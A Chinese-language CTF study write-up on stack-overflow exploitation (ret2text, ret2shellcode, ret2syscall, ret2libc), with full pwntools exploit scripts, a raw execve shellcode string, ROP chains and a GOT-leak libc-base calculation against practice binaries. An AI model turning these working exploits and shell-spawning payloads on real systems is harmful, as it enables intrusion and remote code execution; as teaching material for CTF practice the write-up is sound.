pwn-栈溢出学习

栈溢出(攻击方法:ROP)

栈溢出的主要攻击方法就是ROP

ROP( Return Oriented Programming)是栈溢出攻击的主要方法,其主要思想是在栈溢出的基础上,利用程序中已有的小片段( gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程

通俗的来说ROP就是给你一篇文章,然后让你从文章中找出一个字来,拼成一句话,比如:你好世界。(主要就是用文章中出现的字来拼句子)

利用条件
1、程序存在栈溢出且可控制返回地址
2、可以找到满足条件的 gadgets以及 gadgets的地址
相关的攻击类型有 ret2text、ret2shellcode、ret2syscall, ret2libc

ret2text

理论

即控制程序执行程序本身已有的的代码(.text),使EIP指向具有 system(“/bin/sh”)的代码段

(我目前的理解ret2text就是最基础的栈溢出,即/bin/sh是直接给出的)

例题

这里以ctfhub里面pwn技能树——栈溢出——ret2text 这道题为例

checksec看到是64位的,放ida64里面跑

main函数很简单,典型的gets函数造成栈溢出

算的话就是7*16+8=120

用gdb跑也一样

这里一些gdb是使用方法不赘述了,看我之前发的buuctf-pwn基础题里面内容,那个写的很详细

然后找/bin/sh

Shift+F12找字符串

点进去是这样的

左边的这个地址可不是真正的地址,真正的地址是.text的开头

鼠标放在/bin/sh上面右键,然后如图操作

会跳转到/bin/sh所在的函数,F5一下看看伪代码

这里是需要条件才能跳转到/bin/sh的,但是我们没有关系,直接看/bin/sh的地址,即把鼠标点在/bin/sh上面,然后看左下角

地址就是这个了

可以写exp了

直接放个截图算了,反正很简单,你们自己动手敲一下

ret2shellcode

理论

利用输入函数,将shellcode写入到程序中

关于shellcode我写了一篇文章专门介绍shellcode是什么

这里再简单描述一下——shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。

ret2shellcode与ret2text的区别在于程序没有调用system函数,也就是没有后门,需要自己写shellcode,让程序执行这段shellcode,拿到shell!!!!!!!!

这里还需要介绍一下bss段

bss段:一般指程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域,特点是可读写,在程序执行之前,bss段清0

数据段包括初始化的数据和未初始化的数据(bss)两种,bss存放的是未初始化的全局变量和静态变量;

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限,一般就是在bss段上。

例题

1、ctf-wiki题目

这里以bamboofox 中的 ret2shellcode 为例

下载链接

main函数是这样的,有一个gets函数,没开NX保护,栈溢出没得跑

注意:这里没有system函数,并且找不到/bin/sh,所以ret2text是不行的

我们只能看main函数,这里有一个strcpy函数,把s的内容复制到buf2里面

双击buf2看看

可以看到buf2在bss段,我们用gdb看看bss有没有执行权限

在gdb里面用vmmap命令看(注意必须run程序之后才能看,最好是b main进行断点然后再run)

可以看到0804A080这个地址在上面选中的这个区域内,显示rwxp即可读写的权限。

那么我们的方法就是用gets读入的字符串s覆盖返回地址到buf2的地址,字符串s为我们写好的shellcode,通过strcpy复制到buf2处。

用gdb看看偏移量是多少(说是因为这个程序是使用esp进行操作的,所以偏移量不能通过ida找,而是用gdb找)

这是main函数的汇编,可以看到用的都是esp

这里看不了rsp的位置,直接看报错的地址的偏移量就行了,是112

然后就可以写脚本了

1
2
3
4
5
6
from pwn import *
p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())# shellcraft.sh()是pwntools自带的shellcode,可以print出来看看长什么样
buf2_addr = 0x804a080# buf2就是可执行shellcode的地址
p.sendline(shellcode.ljust(112,'a') + p32(buf2_addr))# 这段代码就是要将shellcode不足112长度的地方用a来填充,这样就能保证后面的返回地址覆盖正确。(ljust是左对齐填充字节)
p.interactive()

回顾一下其实核心就是将shellcode写入到这块可执行的内存空间.bss段当中,然后通过不断填充字符,溢出到ebp,然后向栈里填充这段内存空间的地址,即可使得程序执行构造好的shellcode

现在介绍一下如果开启了NX保护改怎么办?

绕过NX的条件是mprotect函数存在或者mmap存在

如果有mprotect函数,由于是静态链接,可以使用mprotect来改变 bss 段的权限,然后执行 shellcode

具体参考下面两篇文章,我有空再总结

文章1 文章2

2、ctfhub题目

这里以ctfhub 里面pwn技能树——栈溢出——ret2shellcode 这道题为例

看到并没有开启NX所以可以通过栈溢出执行shellcode

这是main函数,这里有个read函数,

读入buf,读了0x400但是buf只有0x10,那就是栈溢出,算一下偏移就是1*16+8=24

gdb算出来也一样

但是我们发现这题没有给我们后门,即找不到/bin/sh

那么我们就需要执行shellcode来获取shell

首先是shellcode的生成

一种方法是像第一题一样用pwntools生成,但是这题用pwntools生成的shellcode无效

1
shellcode=asm(shellcraft.sh())

使用一条常用的shellcode成功执行

1
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

这里猜测可能的原因是pwntools生成的shellcode是44字节的,而我们这个shellcode是23字节的,非常精简,放在栈上面兼容性更好,那么以后的shellcode尽量用这个而不用pwntools生成比较好

那么接下来的问题是shellcode写到哪里

我们看到main函数好像会输出buf的地址,我们运行试一下

确实buf的地址被输出了,那么我们就知道了buf的地址

我们用代码接收一下这个地址

1
2
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15:-1], 16)

或者这样

1
2
3
p.recvuntil('[')
buf_addr = p.recvuntil(']', drop=True)
buf_addr = int(buf_addr,16)

这样buf_addr打印出来就是0x7fff64d273e0

我们用vmmap看一下权限

可以看到[stack]这里,栈上有rwx权限(可读,可写,可执行)

由于函数内buf太小,无法放下shellcode,因此我们可以将其放在返回地址之后,然后让返回地址指向shellcode

这里引用一张图 来自这里

shellcode的地址是这样的

1
shellcode_addr = buf_addr + 32

shellcode 的地址 = buf的地址 + buf与rbp的距离16 + rbp的宽度8 + 返回地址的长度8

现在shellcode和shellcode的地址都有了,那么只要往这个地址传入shellcode即可完成利用

1
payload = 'a' * 24 + p64(shellcode_addr) + shellcode

这里解释一下为什么shellcode要放在返回地址之后

shellcode空间是24字节,我们的shellcode长度是23,但是因为shellcode本身是有push指令的,如果我们把shellcode放在返回地址的前面,在程序leave的时候会破坏shellcode,所以我们将其放在后面

1
2
3
4
5
6
7
8
9
from pwn import *
p=remote("challenge-4dc2fe491e709188.sandbox.ctfhub.com",24350)
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15:-1], 16)
shellcode_addr = buf_addr + 32
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = 'a' * 24 + p64(shellcode_addr) + shellcode
p.sendline(payload)
p.interactive()

ret2syscall

理论

通过控制程序执行系统调用来获取 shell

系统调用相关知识:

Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数

应用程序调用系统调用的过程是:

1、把系统调用的编号存入 EAX

2、把函数参数存入其它通用寄存器

3、触发 0x80 号中断(int 0x80)

需要 满足的条件:

有int 0x80的地址

eax必须是0xb,ebx必须是/bin/sh的地址,ecx和edx必须都是0

当满足这些条件时才能调用execve这个系统函数

如何满足,就需要pop eax,pop ebb………..如上图

例题

这里以 bamboofox 中的 ret2syscall 为例

ctfwiki的下载链接

32位的,NX保护开了

main函数很简单,又是一个栈溢出

偏移量gdb看一下

接下来的wp我直接摘录ctf-wiki上面的,写的很详细了

此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

1
execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0
1
2
3
4
eax=0xb
ebx=/bin/sh 的地址
ecx=0
edx=0

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

首先,我们来寻找控制 eax 的 gadgets

1
ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'

类似的,通过这条命令寻找控制其他寄存器的地址,找到可以控制多个的!

1
ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'

我们选择

1
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个可以直接控制其它三个寄存器。

除此之外,我们需要获得 /bin/sh 字符串对应的地址。

1
ROPgadget --binary rop  --string '/bin/sh'

还需要int 0x80 的地址

1
ROPgadget --binary rop  --only 'int'  

下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。

1
2
3
4
5
6
7
8
9
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
bin_addr = 0x80be408
payload='a'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_addr)+p32(int_0x80)
sh.sendline(payload)
sh.interactive()

在ctf-wiki上面的payload用了这个

1
payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, bin_addr, int_0x80])

flat模块能将pattern字符串和地址结合并且转为字节模式,和我们的p32效果一样的

ret2libc

理论

ret2syscall用的是静态链接,而libc主要利用了动态链接

关于静态链接和动态链接,静态链接其实就是直接在原有的基础之上进行访问,而动态链接就是直接放上一个链接来访问。

下面介绍一下plt表和got表

这里以c语言中的printf函数为例介绍plt表和got表。当调用printf函数时,先去plt表和got表寻找printf函数的真实地址。plt表指向got表中的地址,got表指向glibc中的地址。

当首次调用函数时,过程为:plt->got->plt->公共plt->动态连接器_dl_runtime_resolve->找到函数地址。其中,_dl_runtime_resolve函数作用为查找函数地址并返回给got表。

之后调用时,过程为:plt->got->直接获取函数地址,因为此时got表已经记录函数地址。

例题

这里以ctf-wiki上面的三道题为例,由浅入深讲解ret2libc的题目该怎么做

ret2libc1

先看看保护

这里发现开启了NX,那么我们在栈中的数据没有执行权限,所以我们需要使用ROP方式进行绕过

这里有栈溢出,我们直接看看偏移

接下里我们要做的是执行系统函数system(“/bin/sh”),来获取系统的权限

我们的payload构成应该是这样的 ‘a’ * 112 + system_plt + ‘b’ * 4 + bin_sh_addr

这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。这个bbbb可以随便填写,写1234也行,表示返回地址。·

我们需要system的plt地址以及字符串/bin/sh的地址

system的plt地址可以用IDA来查看

然后找/bin/sh

现在就可以写exp了

1
2
3
4
5
6
7
from pwn import *
p = process('./ret2libc1')
system_plt_addr = 0x08048460
bin_sh_addr = 0x08048720
payload = flat(['a' * 112 , system_plt_addr , 0x00000000 , bin_sh_addr])
p.sendline(payload)
p.interactive()

总结一下就是控制程序执行 libc 中的参数,通常是返回到某个函数的 plt 处,或者某个函数的具体位置(函数对应 got 表项的内容),一般情况会选择执行 system(‘/bin/sh’)

第一题同时提供了 system 地址与 /bin/sh 的地址,那么第二题就不会这样简单了

ret2libc2

老样子

偏移量算一下

可以看到system的plt

但是找不到/bin/sh

那么既然本身没有/bin/sh字符串,我们可以想到的方法就是通过手动输入/bin/sh,并让程序以读的方式将/bin/sh部署到栈中

这时候就需要通过 gets 函数写到一个可读可写的地方,通常会找 bss 段,然后去执行 /bin/sh

首先使用IDA查看gets函数plt地址,这将是一会输入的时候调用的函数

然后通过查找bss段,可找到100字节的buf2空间,buf2的地址可以存放输入的/bin/sh字符串

最后需要在IDA中查找system函数的plt地址

接下来我们需要将存放/bin/sh字符串的buf2变量pop进寄存器中。为什么要在这个部分进行gadget操作呢,首先pop_ebx_ret作为gets函数调用的返回地址,可以使gets调用顺利执行。其次在执行pop_ebx_ret后esp指针会进行上移,指向system_plt的调用,使得system_plt被esp指针弹出交给eip处理
查找的方法可以用ROPgadget

1
ROPgadget --binary ret2libc2 --only "pop|ret"

因为我们只有一个数据需要pop掉,所以选择上面这个很合适

写exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx_ret = 0x0804843d
buf2 = 0x0804A080
payload = flat(['hollkdig'*14, gets_plt, pop_ebx_ret, buf2, system_plt, 'holk', buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

payload在栈中部署:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
                     +---------------------------+
| buf2 | buf2中的/bin/sh作为system_plt的参数
+---------------------------+
| holk | holk作为system_plt的返回地址
+---------------------------+
| system_plt | 调用system_plt
+---------------------------+
| buf2 | buf2地址作为gets的参数接收bin/sh
+---------------------------+
| pop+ebx | gadget作为gets调用后的返回地址
+---------------------------+
| gets_plt | 覆盖原ret返回位置,调用gets_plt
+---------------------------+
| kdig | kdig覆盖原saved ebp位置
ebp--->+---------------------------+
| holl | hollkdig占位填满栈空间
| .... | .....
| kdig | hollkdig占位填满栈空间
| holl | hollkdig占位填满栈空间
| kdig | hollkdig占位填满栈空间
| holl | hollkdig占位填满栈空间
v4终止位置,ebp-0x64-->+---------------------------+

注:本wp大部分来自此文

简洁的exp是这样的,这个exp也可以成功,没有用到pop。

1
2
3
4
5
6
7
8
9
from pwn import *
p=process('./ret2libc2')
sys_addr=0x8048490
get_addr=0x8048460
buf2=0x804A080
payload = 'a'*112 +p32(get_addr)+p32(sys_addr)+p32(buf2)+p32(buf2)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

这里的rop链是这样的,来源

ret2libc3

这题比ret2libc2还要少一个system函数的地址,所以我们不仅要找/bin/sh的地址还要找system函数的地址

这里摘录ctfwiki上面的解释,如何找system函数的地址,写的很好理解了

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
  • https://github.com/niklasb/libc-database

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

现在我们一步一步来解这道题

开了NX保护,32位的

先看main函数

gets函数栈溢出

1.算偏移量

先用gdb算偏移量

2.找system函数和/bin/sh地址

然后就是找system地址及/bin/sh地址

在ida里面既没有找到system地址也没有找到/bin/sh地址

于是就要想办法找

3.找libc

先介绍一个叫libc.so动态链接库,在这个库里面有很多函数,这些函数的偏移量是固定的,但是libc这个库是有很多版本的,所以不同的版本里面的函数偏移量不同。在这个libc里面既有system函数,又有/bin/sh。所以说只需要找到这个libc的地址并且知道了libc的版本,就等于找到了system函数和/bin/sh

1
libc基地址  +  函数偏移量   =  函数真实地址

就是这样一个公式,libc基地址就是刚刚说的libc地址,函数偏移量就是刚刚说的libc版本,这就是一个官方的说法了,刚刚说的只是通俗的个人理解。

这个libc的版本其实根据函数的真实地址就可以知道,涉及到地址随机化,通过这样一个网站我们输入函数名,然后输入函数真实地址的后12位)(注意这里的12位是二进制的,我们得到的是十六进制的,其实对于16进制来说就是后三位,但是换算成二进制就是一位十六进制由四位二进制构成,就是12位二进制),即可得到libc的版本,然后网站也会自动展示出一些常见函数的偏移量了。

所以说我们再看上面的公式,其实我们要求的就是libc的基地址,函数的偏移量通过函数真实地址就可以得到了。

那么现在的目的就是找一个函数真实地址(规范说叫泄漏一个函数的真实地址),这个函数的真实地址其实就是这个程序里面的一个已知函数的真实地址。

那么如何泄漏函数的真实地址,这边要介绍一个libc的延迟绑定技术,可以类比计算机网络中学的交换机的mac地址表,第一次交换信息通过广播的形式,然后会把每个网口的mac地址记下来,然后之后都直接通过查表的方式交换信息了。这里的延迟绑定技术就是当一个程序运行之后,我们第一次调用其中一个函数,这个函数的got表里存放着是下一条plt表的指令的地址,然后经过一系列的操作得到了这个函数的真实地址(这里涉及到got表和plt表的关系,不细讲了,在ret2libc2里面有提到,这个链接里面也细讲了,可以看看)。这个真实地址就相当于我们刚刚说的mac地址,然后这个函数的真实地址就存到了got表中,相当于把mac地址存到了mac地址表中,然后之后调用这个函数的时候,就可以直接从got表中取出函数的真实地址,就不需要找了。

重新通过一个具体的假设理一遍思路,我们找到比如说一个已经执行过一遍的puts函数,puts函数的got表中存了它的真实地址,然后我们用那个网站算出puts函数的偏移量和system函数以及/bin/sh的偏移量(bin/sh又叫str_bin_sh)。这样通过上面的公式,我们求出libc的基地址,然后再用libc的基地址分别加上system函数的偏移量和/bin/sh的偏移量就得到了system函数和/bin/sh的真实地址了

1
2
3
4
5
6
1、找一个已经执行过了的函数(比如puts函数)
2、去puts函数的got表中拿puts函数的真实地址
3、通过网站得到puts函数的偏移量,system函数的偏移量,/bin/sh的偏移量(输入函数名——puts以及函数真实地址的后三位即可)
4、通过公式把puts函数的真实地址-puts函数的偏移量=libc基地址
5、利用libc基地址+system函数偏移量=system函数真实地址
6、利用libc基地址+/bin/sh偏移量=/bin/sh真实地址

关于exp我们一点点看

先看下面这段,条件是我们获得了puts函数的真实地址(因为我们刚刚虽然说puts函数的真实地址只需要查got表即可,但是exp有点复杂,所以先不看获取puts函数的真实地址的过程)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
puts_addr = 0xf7d54360 # 这是puts函数的地址
puts_offset = 0x067360 #利用网站查出puts函数的偏移量
sys_offset = 0x03cd10 #利用网站查出system函数的偏移量
sh_offset = 0x17b8cf #利用网站查出/bin/sh的偏移量

#根据公式 libc基地址 + 函数偏移量 = 函数真实地址 来计算
libc_base_addr = puts_addr - puts_offset #计算出libc基地址
sys_addr = libc_base_addr + sys_offset #计算出system的真实地址
sh_addr = libc_base_addr + sh_offset #计算出/bin/sh的真实地址

payload = ''
payload += 'A'*112
payload += p32(sys_addr) #覆盖返回地址为system函数
payload += "AAAA" #system的返回地址,输入任意四个字符即可,因为之前调用了system('/bin/sh')。就是说利用system函数进入到/bin/sh
payload += p32(sh_addr) #system函数参数(即/bin/sh的地址)

p.sendline(payload)
p.interactive()

那么头部的exp该怎么写,这就比较复杂一点了,因为涉及到got表和plt表

简单来说就是先得到puts函数的got地址,然后把这个地址作为参数传给puts函数,然后就会把这个地址里面的数据输出出来,这个地址里面的数据就是puts函数的真实地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
p = process('./ret2libc3')
elf = ELF('./ret2libc3') # 这边涉及到elf文件读取

puts_got_addr = elf.got['puts']# 直接可以得到puts函数的got的地址,这个地址里的数据即函数的真实地址
puts_plt_addr = elf.plt['puts']#puts函数的plt表的地址,我们需要利用puts函数泄露
main_plt_addr = elf.symbols['_start']#将 puts 的返回地址设置为 _start 函数(main () 函数是用户代码的入口,是对用户而言的;而_start () 函数是系统代码的入口,是程序真正的入口),方便再次用来执行 system('/bin/sh'),因为下面还需要再次send payload的

payload = ''
payload += 'A'*112
payload += p32(puts_plt_addr)#覆盖返回地址为puts函数
payload += p32(main_plt_addr)#这里是puts函数返回的地址,覆盖为main函数地址
payload += p32(puts_got_addr)#这里是puts函数的参数,就是把puts函数的got地址作为参数传给puts函数

p.recv()
p.sendline(payload)

puts_addr = u32(p.recv()[0:4]) # 把地址输出出来后再用32解包,此时就得到了puts函数的真实地址。

最后完整的exp是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
p = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
main_plt_addr = elf.symbols['_start']
payload = ''
payload += 'A'*112
payload += p32(puts_plt_addr)
payload += p32(main_plt_addr)
payload += p32(puts_got_addr)
p.recv()
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])
puts_offset = 0x067360
sys_offset = 0x03cd10
sh_offset = 0x17b8cf
libc_base_addr = puts_addr - puts_offset
sys_addr = libc_base_addr + sys_offset
sh_addr = libc_base_addr + sh_offset
payload = ''
payload += 'A'*112
payload += p32(sys_addr)
payload += "AAAA"
payload += p32(sh_addr)
p.sendline(payload)
p.interactive()

注意:这虽然是完整的exp,但是puts, system,/bin/sh的偏移都是我们手动通过网站算出来的,所以,其实这个exp不能一次跑通getshell

我们取前面14行代码然后加上一个print来打印puts函数的真实地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
main_plt_addr = elf.symbols['_start']
payload = ''
payload += 'A'*112
payload += p32(puts_plt_addr)
payload += p32(main_plt_addr)
payload += p32(puts_got_addr)
p.recv()
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)

然后去网站求偏移量

这里需要选择第四个版本,原因我还不确定

但是这个网站的版本还是错了,这里应该是ubuntu11.3的,这边只有11.2,这两个在/bin/sh的偏移上面是有区别的

用这个网站会更全一点

现在这个偏移是完全正确的了,也就是我们刚刚那个完整exp里面写的

但是现在遇到的问题就是这个libc的版本会显示很多个,到底哪个才是正确的,这里有一种办法就是添加一个其他已经执行过的函数

这里使用__libc_start_main然后它输出的可能版本就只有两个了,这两个版本区别太小,其实可以直接都试一遍,因为其实只是/bin/sh的偏移有略微区别

刚刚这个__libc_start_main的真实地址其实就是改一下获取puts函数的真实地址的代码就好了

1
puts_got_addr = elf.got['__libc_start_main']

只需要改这句把puts换成__libc_start_main就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc_start_main_got_addr = elf.got['__libc_start_main']
puts_plt_addr = elf.plt['puts'] #这句不用改,依然使用puts的plt
main_plt_addr = elf.symbols['main']
payload = ''
payload += 'A'*112
payload += p32(puts_plt_addr)
payload += p32(main_plt_addr)
payload += p32(libc_start_main_got_addr)
p.recv()
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)

整个题目涉及到的知识点太多了,关于ret2libc的题目在比赛中还是比较常见的,这种几十行的exp相对于之前几行的exp是一个巨大的提升,所以这个题目花时间去理解是很有必要的,最后在放一个稍微简化一点的exp,就是把payload不分行打出来了,写在一行里面,这样代码会看的稍微简单点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
p = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
main_plt_addr = elf.symbols['_start']
payload1='A'*112+p32(puts_plt_addr)+p32(main_plt_addr)+p32(puts_got_addr)
p.recv()
p.sendline(payload1)
puts_addr = u32(p.recv()[0:4])
puts_offset = 0x5fcb0
sys_offset = 0x3adb0
sh_offset = 0x15bb2b
libc_base_addr = puts_addr - puts_offset
sys_addr = libc_base_addr + sys_offset
sh_addr = libc_base_addr + sh_offset
payload2='A'*112+p32(sys_addr)+"AAAA"+p32(sh_addr)
p.sendline(payload2)
p.interactive()